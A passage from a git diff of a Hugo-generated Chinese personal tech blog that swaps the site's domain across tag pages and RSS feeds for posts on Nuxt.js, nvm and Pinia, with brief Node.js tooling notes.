content="Nuxt.js"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/nuxt.js/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Nuxt.js"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Nuxt.js</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Nuxt.js学习笔记</h2></header><div class=entry-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
 需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等
@@ -9,7 +9,7 @@
 构建打包
 yarn build
 yarn start
-启动测试环境 yarn test</p></div><footer class=entry-footer><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nuxt.js学习笔记" href=https://xiaochenabc123.github.io/posts/152/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+启动测试环境 yarn test</p></div><footer class=entry-footer><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nuxt.js学习笔记" href=https://chenjunlinabc.github.io/posts/152/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/nuxt.js/index.xml b/tags/nuxt.js/index.xml
index 50afdfc3..d392b44d 100644
--- a/tags/nuxt.js/index.xml
+++ b/tags/nuxt.js/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Nuxt.js on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/nuxt.js/</link>
+    <link>https://chenjunlinabc.github.io/tags/nuxt.js/</link>
     <description>Recent content in Nuxt.js on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 05 Jun 2022 21:36:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/nuxt.js/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 05 Jun 2022 21:36:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/nuxt.js/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Nuxt.js学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/152/</link>
+      <link>https://chenjunlinabc.github.io/posts/152/</link>
       <pubDate>Sun, 05 Jun 2022 21:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/152/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/152/</guid>
       <description>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
diff --git a/tags/nuxt.js/page/1/index.html b/tags/nuxt.js/page/1/index.html
index 23cccb8a..da271a41 100644
--- a/tags/nuxt.js/page/1/index.html
+++ b/tags/nuxt.js/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/nuxt.js/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/nuxt.js/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/nuxt.js/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/nuxt.js/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/nuxt.js/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/nuxt.js/"></head></html>
\ No newline at end of file
diff --git a/tags/nvm/index.html b/tags/nvm/index.html
index 38019062..a833abf3 100644
--- a/tags/nvm/index.html
+++ b/tags/nvm/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>nvm | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/nvm/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/nvm/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="nvm"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/nvm/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="nvm"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>nvm</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>nvm | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/nvm/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/nvm/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="nvm"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/nvm/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="nvm"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>nvm</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
 用来nodejs多版本管理，可以切换和安装不同版本的nodejs
@@ -35,7 +35,7 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://xiaochenabc123.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://chenjunlinabc.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/nvm/index.xml b/tags/nvm/index.xml
index 81957b40..df52f06b 100644
--- a/tags/nvm/index.xml
+++ b/tags/nvm/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>nvm on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/nvm/</link>
+    <link>https://chenjunlinabc.github.io/tags/nvm/</link>
     <description>Recent content in nvm on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/nvm/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/nvm/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>NodeJS常用工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/105/</link>
+      <link>https://chenjunlinabc.github.io/posts/105/</link>
       <pubDate>Thu, 16 Sep 2021 21:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/105/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/105/</guid>
       <description>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
diff --git a/tags/nvm/page/1/index.html b/tags/nvm/page/1/index.html
index e65ccf2d..30626ee0 100644
--- a/tags/nvm/page/1/index.html
+++ b/tags/nvm/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/nvm/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/nvm/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/nvm/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/nvm/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/nvm/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/nvm/"></head></html>
\ No newline at end of file
diff --git a/tags/pinia/index.html b/tags/pinia/index.html
index 6f441003..fbbec56f 100644
--- a/tags/pinia/index.html
+++ b/tags/pinia/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Pinia | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/pinia/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/pinia/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Pinia"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/pinia/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Pinia"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a 